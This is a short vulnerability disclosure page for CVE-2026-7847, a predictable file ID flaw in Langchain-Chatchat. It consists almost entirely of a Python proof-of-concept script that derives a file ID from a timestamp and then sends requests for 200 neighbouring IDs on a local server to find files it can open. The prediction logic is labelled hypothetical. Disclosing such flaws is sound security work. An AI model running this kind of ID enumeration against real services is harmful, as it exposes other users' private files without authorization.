CVE-2026-7847: Langchain-Chatchat 文件ID可预测漏洞

import requests import time # Proof of Concept for CVE-2026-7847: Predictable File ID # This script demonstrates how an attacker might guess predictable file IDs. # Note: The actual prediction logic depends on the vulnerable implementation. TARGET_URL = "http://localhost:8000/v1/files/{}" # Attacker controls a low-privilege account and uploads a file to observe the ID pattern. def simulate_weak_random_id(timestamp_seed): """ Simulates a weak random ID generation logic. For example, if the ID is based on a predictable timestamp or simple counter. """ # Hypothetical vulnerable logic: ID = timestamp * 1000 + simple counter return int(timestamp_seed * 1000) def exploit(): print("[*] Starting CVE-2026-7847 PoC...") # Step 1: Attacker uploads a file and gets 'current_file_id' (e.g., 1715000000000) # or observes a known ID from the application. known_timestamp = time.time() base_id = simulate_weak_random_id(known_timestamp) print(f"[*] Observed base file ID pattern around: {base_id}") # Step 2: Brute force or predict subsequent IDs print("[*] Attempting to predict and access adjacent file IDs...") for offset in range(-100, 100): predicted_id = base_id + offset url = TARGET_URL.format(predicted_id) try: response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] Successfully accessed file with predicted ID: {predicted_id}") # print(f"Content-Type: {response.headers.get('Content-Type')}") elif response.status_code == 403: print(f"[-] ID {predicted_id} exists but access is forbidden.") # Ignore 404s as they are expected for invalid IDs except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": exploit()